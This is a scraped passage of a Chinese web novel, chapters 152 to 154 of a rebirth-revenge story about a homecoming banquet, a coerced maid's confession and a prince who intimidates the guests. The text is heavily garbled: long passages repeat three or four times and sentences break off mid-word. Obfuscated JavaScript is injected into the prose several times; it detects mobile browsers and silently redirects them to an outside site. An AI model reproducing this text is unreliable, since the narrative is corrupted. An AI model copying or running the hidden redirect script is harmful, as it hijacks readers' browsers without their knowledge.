喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第152章 弟弟威逼,丫鬟带小姐回门? “姐姐放心,我会帮你问出她到底要做什么,保证让她吐得干干净净。” 谢宴刚才的固执和委屈一扫而空,眼中跳动着难以眼神的兴奋,甚至抢了白术的话。 白术则抱拳:“属下遵命。” 谢宴正要跟着他走,迈出门槛,又折身复返。 他一撩衣摆,在其他人惊讶的目光中,单膝跪到谢窈脚下。 谢宴仰起头,仰视着谢窈,他下颌线崩得很紧,像在主人面前收敛起所有利爪的家犬,眼底翻涌着炙热感情。 “姐姐,不管你要做什么,我都站在你这一边。”他说道。 谢窈望着少年俊朗的面容,想起萧熠之的堂弟萧云舟。 云舟堂弟生的好看,而且,还很有眼光的崇拜小顾将军。 自家弟弟和他相比,就不太可爱,毕竟长得像谢明安。 但到底是自己弟弟。 她抬起手,掌心触及谢宴的头发,拍了两下:“知道了。” 谢宴像得到了某种安抚,满足地低头,垂下深褐色的双眸。 许素素:“只是,这芳儿究竟要做什么呢?” 谢窈道:“不管她要做什么,从此刻起,她什么也做不了。” 白术领着茗儿和谢宴,刚出晚香院,谢宴就转身拐向与后厨相反的方向。 他没跟白术说半句话,也没解释自己去哪。 白术虽然心里有一丝疑惑,但他不是白蔹——他话少,不问。 在茗儿的指认下,白术悄无声息地将回后厨路上的芳儿抓住。 等谢宴赶到柴房时,芳儿已经被捆在柱子上,嘴里塞着块布条,满脸惊恐。 白术迎上前,看见谢宴的手里,多了一个包袱。 “这是?” “我去她住处搜了搜,有所收获,”谢宴语气轻松,笑起来很温和,“白侍卫是吗,不知可否通融,让我和她单独聊聊。” 白术没什么意见,谢宴是王妃的亲弟弟,又只是个十五岁的少年。 他转身离开,一言不发地守在门外。 柴房内,只剩下谢宴和芳儿两个。 少年缓缓走到芳儿面前,看似随意,实则一直注意着脚下,特意避开地上一些脏兮兮黝黑的乌炭碎片,免得脏了自己的靴子。 他取出芳儿嘴里的布条。 “小伯爷,奴婢什么都没做,奴婢真的没有,是他们抓错人了,求您放了奴婢吧!” 芳儿认出谢宴,立即哭喊起来。 “没做错事?” 谢宴居高临下地俯视她,眼神凉薄,将手里的包袱丢到地上。 包袱散开,他弯腰一枚散落的银项圈,指尖在项圈上敲了敲。 “伯府给你的月钱真是丰厚,这是实银,是你给你弟弟打的?听说他今年六岁,好小的孩子。” 芳儿看见这个熟悉的包袱,哭声瞬间停了,眼神直愣愣盯着那枚银项圈,脸色也变得惨白。 这是她藏在自己枕头里的项圈,本想风头过后,寄回家给她弟弟的。 “小伯爷,您,您怎么知道……” “你叫我小伯爷,你说,我为何能知道呢。” 谢宴的声音幽冷而平静:“孙姨娘到底让你做了什么?又许了你多少好处。” 芳儿的眼泪又涌上来:“小伯爷,奴婢,奴婢求小伯爷饶恕,奴婢真的什么都没做,只是收了主子给的银子,但绝不敢害任何人啊。” 谢宴往前走了一步,阴影笼罩住她:“你一个被人用完就扔的棋子,真以为自己按她吩咐做完,还有命花那五十两?” 芳儿浑身发抖,想起从前谢枝大小姐还在的时候,对她等丫鬟动辄打骂。 孙姨娘表面劝阻,在外人面前很是贤惠,体恤下人,但是转身,就会将得罪了大小姐的人,发卖到乡下庄子做苦力。 是啊,孙姨娘这次这么大方,真会放过她? 谢宴见她眼中慌乱,语气突然软下来,甚至带了让人沉溺的温柔:“不过,你也不用怕。” 他抬起手,仿佛要为芳儿擦拭眼泪,但指腹并没有碰到她,而是将项圈放到她怀里。 谢宴背着光,少年的脸庞本就俊美,此刻卸去冷意,眼神流露几分怜惜,让芳儿的心跳陡然加快。 她在伯府待了三年,还是第一次这么近距离看小伯爷,没想到他这么好看。 “芳儿,你主子孙姨娘,只是我父亲文昌伯的一个妾室,而我是伯府的嫡子,将来这伯府的一切,包括你的生死,都是我说的算。” “只要你跟我说实话,我答应你,一定会护你安稳。”谢宴凑近她,脸上挂着笑,像是许诺。 芳儿的呼吸乱了。 “不仅如此,我还可以帮你脱去奴籍,你的弟弟,也一定能收到你给他的礼物。” 谢宴最后这句话,彻底让芳儿的心秤倾斜。 “三日前,奴婢住处自己的箱子里,忽然多了五十两和一封信,孙姨娘知道我识几个字,所以在信上交代,要我在二小姐的回门宴上……指认伯夫人下毒!” “ 乖,继续——” 片刻后,谢宴走出柴房,将芳儿的话告诉白术。 白术见芳儿竟然被他松绑了,还一副羞涩畏惧的模样,愣了愣,仍旧没说什么。 他让两名王府亲卫和谢宴一起,继续留在柴房看守,自己则赶回晚香院向王妃复命。 此刻,日头正盛,许素素去了前厅,派人来传话:“再有半个时辰,约莫就能开宴,王妃可以移驾饭厅。” 谢窈轻呷一口母亲这里的雪顶含翠,听着白术将谢宴的话转告自己。 “芳儿,只负责污蔑母亲?” 谢窈喃喃出这一句,垂眸细细思索。 也是,母亲对这场回门宴十分尽心,百般提防,的确难以让一个曾经是孙姨娘院里,而且不算多么忠心的丫鬟做什么。 如果她是孙姨娘,也不会再做铤而走险的事。 芳儿,只是孙姨娘和谢明安,用来诬陷母亲的一个后手,或者说,是跳出来将矛头指向母亲的人。 她眼中闪过明悟。 不知到时候,芳儿没了,谢明安会不会急呢…… 谢窈放下茶盏,起身道:“走吧,去前院,快开宴了。” 刚到饭厅门口,谢明安也迎面而来。 桌上已经备好茶点,下人们正有条不紊地做事。 这时,护院蒋四慌张地赶来:“伯爷,前院来人了,说是安平侯府的柳姨娘,带着枝小姐回来了。” 谢明安得知安平侯府的人,先是一喜,听到后半句话,脸色又沉了下去。 谢枝那丢人现眼的东西,三天前刚打发给安平侯做外室,怎么敢这时候回府? “安平侯府柳姨娘,哪个柳姨娘?”谢明安问道。 蒋四尴尬地说:“就是从前在枝小姐房里当丫鬟的蔓儿,伯爷您忘了,她和枝小姐与安平侯一起,在成佛寺——” 谢明安大怒打断:“够了!” 蒋四连忙噤声。 谢明安面容愈发难看,他想起来了,那个丫鬟,因她家世清白,庆公公将其带走脱了奴籍,说是飞上枝头,被安平侯纳为妾室了。 如今,他们谢家出身的丫鬟,成了侯府正经的姨娘,可他的庶女谢枝,却只是一个外室! 乖,继续——” 片刻后,谢宴走出柴房,将芳儿的话告诉白术。 白术见芳儿竟然被他松绑了,还一副羞涩畏惧的模样,愣了愣,仍旧没说什么。 他让两名王府亲卫和谢宴一起,继续留在柴房看守,自己则赶回晚香院向王妃复命。 此刻,日头正盛,许素素去了前厅,派人来传话:“再有半个时辰,约莫就能开宴,王妃可以移驾饭厅。” 谢窈轻呷一口母亲这里的雪顶含翠,听着白术将谢宴的话转告自己。 “芳儿,只负责污蔑母亲?” 谢窈喃喃出这一句,垂眸细细思索。 也是,母亲对这场回门宴十分尽心,百般提防,的确难以让一个曾经是孙姨娘院里,而且不算多么忠心的丫鬟做什么。 如果她是孙姨娘,也不会再做铤而走险的事。 芳儿,只是孙姨娘和谢明安,用来诬陷母亲的一个后手,或者说,是跳出来将矛头指向母亲的人。 她眼中闪过明悟。 不知到时候,芳儿没了,谢明安会不会急呢…… 谢窈放下茶盏,起身道:“走吧,去前院,快开宴了。” 刚到饭厅门口,谢明安也迎面而来。 桌上已经备好茶点,下人们正有条不紊地做事。 这时,护院蒋四慌张地赶来:“伯爷,前院来人了,说是安平侯府的柳姨娘,带着枝小姐回来了。” 谢明安得知安平侯府的人,先是一喜,听到后半句话,脸色又沉了下去。 谢枝那丢人现眼的东西,三天前刚打发给安平侯做外室,怎么敢这时候回府? “安平侯府柳姨娘,哪个柳姨娘?”谢明安问道。 蒋四尴尬地说:“就是从前在枝小姐房里当丫鬟的蔓儿,伯爷您忘了,她和枝小姐与安平侯一起,在成佛寺——” 谢明安大怒打断:“够了!” 蒋四连忙噤声。 谢明安面容愈发难看,他想起来了,那个丫鬟,因她家世清白,庆公公将其带走脱了奴籍,说是飞上枝头,被安平侯纳为妾室了。 如今,他们谢家出身的丫鬟,成了侯府正经的姨娘,可他的庶女谢枝,却只是一个外室! 乖,继续——” 片刻后,谢宴走出柴房,将芳儿的话告诉白术。 白术见芳儿竟然被他松绑了,还一副羞涩畏惧的模样,愣了愣,仍旧没说什么。 他让两名王府亲卫和谢宴一起,继续留在柴房看守,自己则赶回晚香院向王妃复命。 此刻,日头正盛,许素素去了前厅,派人来传话:“再有半个时辰,约莫就能开宴,王妃可以移驾饭厅。” 谢窈轻呷一口母亲这里的雪顶含翠,听着白术将谢宴的话转告自己。 “芳儿,只负责污蔑母亲?” 谢窈喃喃出这一句,垂眸细细思索。 也是,母亲对这场回门宴十分尽心,百般提防,的确难以让一个曾经是孙姨娘院里,而且不算多么忠心的丫鬟做什么。 如果她是孙姨娘,也不会再做铤而走险的事。 芳儿,只是孙姨娘和谢明安,用来诬陷母亲的一个后手,或者说,是跳出来将矛头指向母亲的人。 她眼中闪过明悟。 不知到时候,芳儿没了,谢明安会不会急呢…… 谢窈放下茶盏,起身道:“走吧,去前院,快开宴了。” 刚到饭厅门口,谢明安也迎面而来。 桌上已经备好茶点,下人们正有条不紊地做事。 这时,护院蒋四慌张地赶来:“伯爷,前院来人了,说是安平侯府的柳姨娘,带着枝小姐回来了。” 谢明安得知安平侯府的人,先是一喜,听到后半句话,脸色又沉了下去。 谢枝那丢人现眼的东西,三天前刚打发给安平侯做外室,怎么敢这时候回府? “安平侯府柳姨娘,哪个柳姨娘?”谢明安问道。 蒋四尴尬地说:“就是从前在枝小姐房里当丫鬟的蔓儿,伯爷您忘了,她和枝小姐与安平侯一起,在成佛寺——” 谢明安大怒打断:“够了!” 蒋四连忙噤声。 谢明安面容愈发难看,他想起来了,那个丫鬟,因她家世清白,庆公公将其带走脱了奴籍,说是飞上枝头,被安平侯纳为妾室了。 如今,他们谢家出身的丫鬟,成了侯府正经的姨娘,可他的庶女谢枝,却只是一个外室! 乖,继续——” 片刻后,谢宴走出柴房,将芳儿的话告诉白术。 白术见芳儿竟然被他松绑了,还一副羞涩畏惧的模样,愣了愣,仍旧没说什么。 他让两名王府亲卫和谢宴一起,继续留在柴房看守,自己则赶回晚香院向王妃复命。 此刻,日头正盛,许素素去了前厅,派人来传话:“再有半个时辰,约莫就能开宴,王妃可以移驾饭厅。” 谢窈轻呷一口母亲这里的雪顶含翠,听着白术将谢宴的话转告自己。 “芳儿,只负责污蔑母亲?” 谢窈喃喃出这一句,垂眸细细思索。 也是,母亲对这场回门宴十分尽心,百般提防,的确难以让一个曾经是孙姨娘院里,而且不算多么忠心的丫鬟做什么。 如果她是孙姨娘,也不会再做铤而走险的事。 芳儿,只是孙姨娘和谢明安,用来诬陷母亲的一个后手,或者说,是跳出来将矛头指向母亲的人。 她眼中闪过明悟。 不知到时候,芳儿没了,谢明安会不会急呢…… 谢窈放下茶盏,起身道:“走吧,去前院,快开宴了。” 刚到饭厅门口,谢明安也迎面而来。 桌上已经备好茶点,下人们正有条不紊地做事。 这时,护院蒋四慌张地赶来:“伯爷,前院来人了,说是安平侯府的柳姨娘,带着枝小姐回来了。” 谢明安得知安平侯府的人,先是一喜,听到后半句话,脸色又沉了下去。 谢枝那丢人现眼的东西,三天前刚打发给安平侯做外室,怎么敢这时候回府? “安平侯府柳姨娘,哪个柳姨娘?”谢明安问道。 蒋四尴尬地说:“就是从前在枝小姐房里当丫鬟的蔓儿,伯爷您忘了,她和枝小姐与安平侯一起,在成佛寺——” 谢明安大怒打断:“够了!” 蒋四连忙噤声。 谢明安面容愈发难看,他想起来了,那个丫鬟,因她家世清白, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218928|181036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庆公公将其带走脱了奴籍,说是飞上枝头,被安平侯纳为妾室了。 如今,他们谢家出身的丫鬟,成了侯府正经的姨娘,可他的庶女谢枝,却只是一个外室! 乖,继续——” 片刻后,谢宴走出柴房,将芳儿的话告诉白术。 白术见芳儿竟然被他松绑了,还一副羞涩畏惧的模样,愣了愣,仍旧没说什么。 他让两名王府亲卫和谢宴一起,继续留在柴房看守,自己则赶回晚香院向王妃复命。 此刻,日头正盛,许素素去了前厅,派人来传话:“再有半个时辰,约莫就能开宴,王妃可以移驾饭厅。” 谢窈轻呷一口母亲这里的雪顶含翠,听着白术将谢宴的话转告自己。 “芳儿,只负责污蔑母亲?” 谢窈喃喃出这一句,垂眸细细思索。 也是,母亲对这场回门宴十分尽心,百般提防,的确难以让一个曾经是孙姨娘院里,而且不算多么忠心的丫鬟做什么。 如果她是孙姨娘,也不会再做铤而走险的事。 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今日是谢窈这个靖北王妃的回门礼,谢枝做为安平侯的外室,被个从前府上伺候人的丫鬟带着也回门,回什么门,回来丢人吗? 谢明安心中暗自不满,但也只能道:“领她们入府,但要走偏门。” 谢窈挑了挑眉,身后跟着棠心忍冬,又让白术守在门廊下,从容入座。 片刻后,谢家二房一家三口赶来,讪讪地坐到一旁。 谢枝也被下人领了进来,她穿了件水红色绣桃花的襦裙,头发盘起来,手腕还戴着安平侯之前送她的红玛瑙镶金串珠,脸色却是上了妆也掩不住的憔悴。 看见厅内众人,谢枝主动向谢窈和许素素,谢明安行礼。 “枝枝见过王妃,父亲,夫人。” 谢明安拧着眉头:“你怎么回来了?” 谢枝乖巧地说:“今日是二妹妹的回门宴,我怎能缺席,再说了,我这两日天天想着父亲姨娘,还有伯夫人,想得都睡不着觉,不能在父亲面前尽孝,枝枝心中难安。” 谢明安心里微微舒畅几分,这几个孩子,也只有谢枝,在他面前还算听话懂事。 他露出慈父笑容:“回来就好,不必多礼,入座吧。” “伯爷,枝姑娘只是侯爷的外室,连个正经名分都没有,今日是王爷王妃的回门宴,她怎么能往正席上凑呢。” 从前的丫鬟蔓儿,如今的柳姨娘,跟在后面扬声道。 谢枝顿时浑身一震,停在了原地。 谢窈看去,几日不见,蔓儿已经换上妇人装扮,一身衣裙面料不菲,头上珠翠环绕,风姿胜过了谢枝。 柳姨娘给她和谢明安屈膝行了礼:“妾见过王妃,伯爷伯夫人。” 然后才道:“这外室入了正席,传出去,岂不是折辱了王爷王妃的体面,也会有人说咱们伯府不懂礼数。” 谢明安呼吸一沉,眉头拧得更紧:“难不成你要让本伯的女儿站着?岂不是更丢我伯府脸面,既然如此,那又何必让她回门!” 柳姨娘昂首挺胸,扬眉吐气,语气难掩得意: “枝姑娘这几日总流泪不止,说是想家,妾身与她从前到底是仆一场,实在不忍心,又得了侯爷的命令,才带她回伯府赴宴,但可没说,一个外室也有回门的说法。” 谢明安憋屈地冷了脸,再看谢枝,没用的丫头,竟然畏畏缩缩站在原地,像是怕极了柳姨娘。 他反应过来,这丫鬟怕是真骑到了谢枝头上! 他教导了谢枝那么多年,真是白教了,早知如此,还不如让她去 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 侯府做妾。 想到安平侯给自己的那两处豪奢宅院,谢明安心中才缓和几分。 柳姨娘这才说:“伯爷放心,断不会让枝姑娘饿着冻着,蒋四,你去廊下加一张方桌,就让枝姑娘单独用席,既沾到了王妃回门的喜气,也不碍着规矩。” 没等谢明安说话,蒋四已经“诶”了一声,麻利地下去准备了。 谢明安咬牙切齿,这个柳蔓儿,对伯府的人事倒是熟悉得很啊! 谢枝小心翼翼地瞥了一眼柳姨娘,收敛了情绪,跟在个丫鬟身后,坐到小桌旁。 这三日在雀草巷的宅子里,柳姨娘没少磋磨她,饭菜只给残羹冷炙,还让她洗下人的衣服,昨日只因她忍不住出言威胁,就被罚跪了半个时辰,晚饭都没得吃。 从成佛寺回来之后,她甚至都没再见到安平侯一面,柳姨娘也从中作梗,不可能让她见。 如今柳姨娘带她回谢家,她是谢天谢地,哪敢说什么别的。 谢明安只能强扯出笑:“好,那便如此安排,柳姨娘请坐吧。” “伯爷不必客气。”柳姨娘在旁边椅子上坐下,端起丫鬟递来的茶杯,轻轻吹了吹浮沫,语气随意得像是在自己家里。 她也确实曾经在伯府住着。 “对了,妾听说,伯府的祠堂走水了?” 谢明安面色又是一僵。 他算看出来了,柳姨娘是存心带谢枝回府炫耀,看伯府热闹,然后给他添堵的。 “不过是看香火的下人打翻了烛台,意外而已,意外。” “是吗,可别人都说是伯府家风不正,祖宗不庇护了,妾听了都替伯爷着急,这是祖宗祠堂啊,真是可惜。” “对了,妾又听说,二爷的成柏忽然疯了,是不是伯府风水真不太好啊。” “柳姨娘休要胡乱说话,”谢明安猛地拍了一下桌子,“不过是些市井流言,当不得真。” 他脸色涨红,但不敢真和柳姨娘翻脸。 倒不是担心翻脸后谢枝在外宅的处境,而是因为柳姨娘攀上了安平侯的高枝。 他得到消息,太后虽然训斥了安平侯,但也十分不满安平侯夫人提出和离,已将侯夫人禁足侯府了,侯夫人心灰意冷,不再打理府中事务。 侯府中馈被几个妾室争翻了天,万一,最后这柳姨娘再上一层楼,到底是谢家出去的人,以后还要打交道。 谢窈勾了勾唇,语气平淡中透着讽刺:“柳姨娘倒是消息灵通,哦不,应该说是父亲你治家实在不行,家事传得满城风雨 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 ,真是贻笑大方。” “你!”谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢窈在成佛寺当众伤他,让他至今下不来床,这次自己带谢枝回侯府,就是要让谢窈在回门之日难堪! 如今,谢枝提了靖北王的腿疾,既是嘲讽谢窈回门礼也没有夫君陪伴,又是暗讽她嫁给个残疾王爷,简直是一箭双雕。 谢窈的凤眸幽冷,望着谢枝的眼神,像看跳梁小丑。 她刀呢。 她就说不能放下握刀吧。 柳姨娘的心思,她早就看透了,不过是来替安平侯寻仇,想让她难堪,挑拨她和王爷关系。 只是没想到,谢枝居然蠢到这种地步,不是做谢明安的刀,就是做柳姨娘的刀。 “枝姑娘,你怎么能这么说啊,王爷身份尊贵,就算身体不便,也是顶天立地的英雄。” 柳姨娘故意惊讶地阻止:“你这话要是被王爷听到,岂不是伤了王爷王妃的夫妻和气!” 她嘴上说怕王爷听到,其实心里十分得意。 话音未落,护院蒋四惊慌失跑回来:“王爷,靖北王爷来了!” 第154章 孙姨娘心凉,开宴! “哐当!” 柳姨娘手里的茶杯直接摔在地上,茶水溅了她一裙摆。 她猛地站起身,脱口而出:“靖北王怎么会来?” 他此刻不是应该在太后宫里领赏吗?正因她从侯爷那得知了靖北王进宫,没有陪谢窈回门礼,这才急匆匆带着谢枝来,否则,她怎么敢跑来凑热闹。 一直面无表情地立在廊下的白术站出来,走到所有人面前,向谢窈抱拳,一言不发。 谢窈道:“去吧。” 谢枝本来就坐在矮人一截的椅子上,白术出列了,她才发现旁边的男人,竟然是靖北王的贴身侍卫。 她刚才说的话,侍卫定然全听到了! 谢枝吓得浑身一颤,差点瘫到地上。 蒋四看了看这一厅的人,转头跟上白术一起溜了:“小的,小的去迎王爷。” 谢明安见到白术出现,脸上的笑容彻底僵住。 他刚才还在心里暗爽,谢枝说得对,谢窈嫁给靖北王又怎么样,现在,他却恨不得把谢枝掐死! 靖北王来了,有那侍卫在,这蠢货刚才说的所有话,都会被靖北王知道! 院门口,传来轮椅滚动,还有甲胄摩擦的声音。 萧熠之坐在轮椅上,被白蔹推着进来,白术在他身侧。 后面,是一队披坚执锐的王府亲卫,倒真像是来伯府抄家的。 王爷身着玄红相间的直裾深衣,腰间玉带上坠着一枚绣仙鹤**的香囊,俊美耀目的面容,桃花眸却冷冽如冰。 “本王,出门不方便?” 他一字一句反问。 眼神扫过满厅人时,带着碾压性的森冷威严,让人心生畏惧。 恰在这时,孙姨娘带着两个丫鬟在一旁露面。 她后面,是提着药箱的孙药令。 孙姨娘方才赶到饭厅门口,就听见了女儿谢枝的话。 瞥到王爷冷如冰雪山川的面容,她吓得魂都快没了,拼命给谢枝使眼色。 谢枝根本没发现她。 她狠了狠心,鼓起勇气,扶着肚子,猛地冲上前。 “啪!” 孙姨娘一巴掌甩在谢枝脸上,声音尖厉:“你个混账东西,王爷去哪,是你能管的吗,竟敢议论王爷,你是想害死伯爷,害死咱们全家吗!” 谢明安张了张口,也回过神来:“下官见过王爷——” 谢枝被打懵了,脸颊瞬间红肿起来,抬头见到孙姨娘之后,更是万般委屈涌上心头,一下子哭出来。 她忽 然明白了孙姨娘的意思,膝盖一软,当即跪下去:“王、王爷恕罪!我是一时糊涂,才说了混账话,求王爷大人有大量,饶了我吧!” 柳姨娘也起身对萧熠之行礼,声音发颤:“安平侯府妾室柳氏见过王爷,是妾没有管教好枝姑娘,才让她口无遮拦。” 王爷没看她们,目光直接落在谢窈身上:“本王来晚了。” 谢窈走到他身边,眼底闪过一丝笑意:“王爷来得正是时候。” 随即,白术狠扯了白蔹袖子一下。 白蔹:“你扒拉**啥。” 白术:“……” 他嘴角抽了抽,放下袖子,默默搬起木板,铺到饭厅的门槛上。 白蔹这才反应过来,放下轮椅,一起去帮忙。 谢窈则主动走到萧熠之身边,来到他身后,轮椅虽然沉重,但她也不是没推过。 许素素看着女儿将王爷稳稳地推进厅堂,动作娴熟,而王爷坐得挺拔如松,眉间的冰霜融化了些许。 不知为何,这一幕忽然让她眼眶湿润。 “见过岳母大人。” 萧熠之照例只对许素素致意,这才转身。 谢枝瑟瑟发抖:“王,王爷饶命,我再也不敢了。” 萧熠之根本没有理会她,而是望向柳姨娘,唇角曳起一抹冰冷的弧度。 他的声音沙哑,透着肆无忌惮的杀意:“回去告诉李钰,王妃心善,只是打断了他两条腿,本王亦然,下次,本王不介意大发善心,送他和他最喜欢的哥哥李钧团聚。” 众人已经吓得魂飞魄散。 李钧是先帝的二皇子,曾经的睿亲王。 也是五年前,被靖北王亲自带兵抄家,监斩**的五王之乱之首。 王爷要送安平侯和睿王团聚,善,太善了。 柳姨娘连谢枝都顾不上了:“妾不敢,妾这就走!” 谢明安脸上强行挤出笑容,打圆场道:“王爷息怒,今日是窈儿回门之礼,大喜的日子,别让外人坏了心情,而且,柳姨娘也只是一时糊涂。” 孙姨娘听到这话,心凉了半截。 伯爷开了口,却不是为自己女儿,而是替柳姨娘——一个磋磨了自己女儿的奴婢求情! 她如何不知伯爷的想法,柳姨娘已经飞上枝头变凤凰,往后就是连接伯府和安平侯府之间的一根线,十分重要。 可枝枝是伯爷的女儿啊,哪怕只是个庶女,也是他从前捧在手心里疼爱着长大的,难道她就不重要吗。 孙姨娘心疼女 儿,强忍着眼泪求饶:“是啊王爷,都是一家人,枝枝她知道错了,妾以后一定……一定让柳姨娘管教好她,绝不让她再冲撞王爷和王妃。” “是是是!妾这就带谢枝回去管教。” 柳姨娘赶紧点头,想起从前在伯府被谢枝打骂欺辱,她更是眼神一狠,顺着谢明安的话又说:“她贱皮贱肉,不打不成,妾回去就将她掌嘴二十,打烂她一张胡乱说话的嘴!” 谢明安暗自瞥了一眼萧熠之,见他仍旧面沉如水,于是怒喝一声: “二十怎么够,这死丫头屡屡犯错,死性不改,丢尽了谢家的脸,就在院里,给本伯掌嘴五十下,让她好好长长记性!” 孙姨娘浑身一震,眼眶通红:“伯爷……” 谢枝更是不敢置信地捂着脸,仰视谢明安:“父亲,你怎么能这么对我?” 她以为父亲至少会护着她,没想到,谢明安不仅替作威作福的柳姨娘说情,还主动要加重惩罚! “闭嘴,”谢明安脸色一沉,“你自己做错了事,休要狡辩顶嘴。” “来人,还不把她带下去!” 孙姨娘眼睁睁看着谢枝被两个婆子拖走,连廊下的小桌也被撤走,柳姨娘更是跟了过去。 她心慌得厉害,想上前说几句话。 “你有着身孕,别为不相干的人操心,让人看了笑话。” 谢明**住孙姨娘,给她一个不要再节外生枝的眼神。 孙姨娘只能忍下。 谢明安装作刚才什么事都没发生一样,清了清嗓子,下令道:“开宴吧。” 只是,饭厅内的下人们,被外面围着的高大亲卫吓得够呛,又因为这些日子伯夫人赏罚分明,且亲力亲为,一时之间,伯夫人没说话,竟然没人动弹。 许素素缓缓开口,声音不算高:“吩咐下去,开宴。” 一众下人这才缓过神,连忙动起来,先端上冷菜。 谢明安见此,眼神越发阴冷。 不过,看到孙姨娘身旁的孙药令后,他放下心来,慢慢坐定。 儿,强忍着眼泪求饶:“是啊王爷,都是一家人,枝枝她知道错了,妾以后一定……一定让柳姨娘管教好她,绝不让她再冲撞王爷和王妃。” “是是是!妾这就带谢枝回去管教。” 柳姨娘赶紧点头,想起从前在伯府被谢枝打骂欺辱,她更是眼神一狠,顺着谢明安的话又说:“她贱皮贱肉,不打不成,妾回去就将她掌嘴二十,打烂她一张胡乱说话的嘴!” 谢明安暗自瞥了一眼萧熠之,见他仍旧面沉如水,于是怒喝一声: “二十怎么够,这死丫头屡屡犯错,死性不改,丢尽了谢家的脸,就在院里,给本伯掌嘴五十下,让她好好长长记性!” 孙姨娘浑身一震,眼眶通红:“伯爷……” 谢枝更是不敢置信地捂着脸,仰视谢明安:“父亲,你怎么能这么对我?” 她以为父亲至少会护着她,没想到,谢明安不仅替作威作福的柳姨娘说情,还主动要加重惩罚! “闭嘴,”谢明安脸色一沉,“你自己做错了事,休要狡辩顶嘴。” “来人,还不把她带下去!” 孙姨娘眼睁睁看着谢枝被两个婆子拖走,连廊下的小桌也被撤走,柳姨娘更是跟了过去。 她心慌得厉害,想上前说几句话。 “你有着身孕,别为不相干的人操心,让人看了笑话。” 谢明**住孙姨娘,给她一个不要再节外生枝的眼神。 孙姨娘只能忍下。 谢明安装作刚才什么事都没发生一样,清了清嗓子,下令道:“开宴吧。” 只是,饭厅内的下人们,被外面围着的高大亲卫吓得够呛,又因为这些日子伯夫人赏罚分明,且亲力亲为,一时之间,伯夫人没说话,竟然没人动弹。 许素素缓缓开口,声音不算高:“吩咐下去,开宴。” 一众下人这才缓过神,连忙动起来,先端上冷菜。 谢明安见此,眼神越发阴冷。 不过,看到孙姨娘身旁的孙药令后,他放下心来,慢慢坐定。 儿,强忍着眼泪求饶:“是啊王爷,都是一家人,枝枝她知道错了,妾以后一定……一定让柳姨娘管教好她,绝不让她再冲撞王爷和王妃。” “是是是!妾这就带谢枝回去管教。” 柳姨娘赶紧点头,想起从前在伯府被谢枝打骂欺辱,她更是眼神一狠,顺着谢明安的话又说:“她贱皮贱肉,不打不成,妾回去就将她掌嘴二十,打烂她一张胡乱说话的嘴!” 谢明安暗自瞥了一眼萧熠之,见他仍旧面沉如水,于是怒喝一声: “二十怎么够,这死丫头屡屡犯错,死性不改,丢尽了谢家的脸,就在院里,给本伯掌嘴五十下,让她好好长长记性!” 孙姨娘浑身一震,眼眶通红:“伯爷……” 谢枝更是不敢置信地捂着脸,仰视谢明安:“父亲,你怎么能这么对我?” 她以为父亲至少会护着她,没想到,谢明安不仅替作威作福的柳姨娘说情,还主动要加重惩罚! “闭嘴,”谢明安脸色一沉,“你自己做错了事,休要狡辩顶嘴。” “来人,还不把她带下去!” 孙姨娘眼睁睁看着谢枝被两个婆子拖走,连廊下的小桌也被撤走,柳姨娘更是跟了过去。 她心慌得厉害,想上前说几句话。 “你有着身孕,别为不相干的人操心,让人看了笑话。” 谢明**住孙姨娘,给她一个不要再节外生枝的眼神。 孙姨娘只能忍下。 谢明安装作刚才什么事都没发生一样,清了清嗓子,下令道:“开宴吧。” 只是,饭厅内的下人们,被外面围着的高大亲卫吓得够呛,又因为这些日子伯夫人赏罚分明,且亲力亲为,一时之间,伯夫人没说话,竟然没人动弹。 许素素缓缓开口,声音不算高:“吩咐下去,开宴。” 一众下人这才缓过神,连忙动起来,先端上冷菜。 谢明安见此,眼神越发阴冷。 不过,看到孙姨娘身旁的孙药令后,他放下心来,慢慢坐定。 儿,强忍着眼泪求饶:“是啊王爷,都是一家人,枝枝她知道错了,妾以后一定……一定让柳姨娘管教好她,绝不让她再冲撞王爷和王妃。” “是是是!妾这就带谢枝回去管教。” 柳姨娘赶紧点头,想起从前在伯府被谢枝打骂欺辱,她更是眼神一狠,顺着谢明安的话又说:“她贱皮贱肉,不打不成,妾回去就将她掌嘴二十,打烂她一张胡乱说话的嘴!” 谢明安暗自瞥了一眼萧熠之,见他仍旧面沉如水,于是怒喝一声: “二十怎么够,这死丫头屡屡犯错,死性不改,丢尽了谢家的脸,就在院里,给本伯掌嘴五十下,让她好好长长记性!” 孙姨娘浑身一震,眼眶通红:“伯爷……” 谢枝更是不敢置信地捂着脸,仰视谢明安:“父亲,你怎么能这么对我?” 她以为父亲至少会护着她,没想到,谢明安不仅替作威作福的柳姨娘说情,还主动要加重惩罚! “闭嘴,”谢明安脸色一沉,“你自己做错了事,休要狡辩顶嘴。” “来人,还不把她带下去!” 孙姨娘眼睁睁看着谢枝被两个婆子拖走,连廊下的小桌也被撤走,柳姨娘更是跟了过去。 她心慌得厉害,想上前说几句话。 “你有着身孕,别为不相干的人操心,让人看了笑话。” 谢明**住孙姨娘,给她一个不要再节外生枝的眼神。 孙姨娘只能忍下。 谢明安装作刚才什么事都没发生一样,清了清嗓子,下令道:“开宴吧。” 只是,饭厅内的下人们,被外面围着的高大亲卫吓得够呛,又因为这些日子伯夫人赏罚分明,且亲力亲为,一时之间,伯夫人没说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 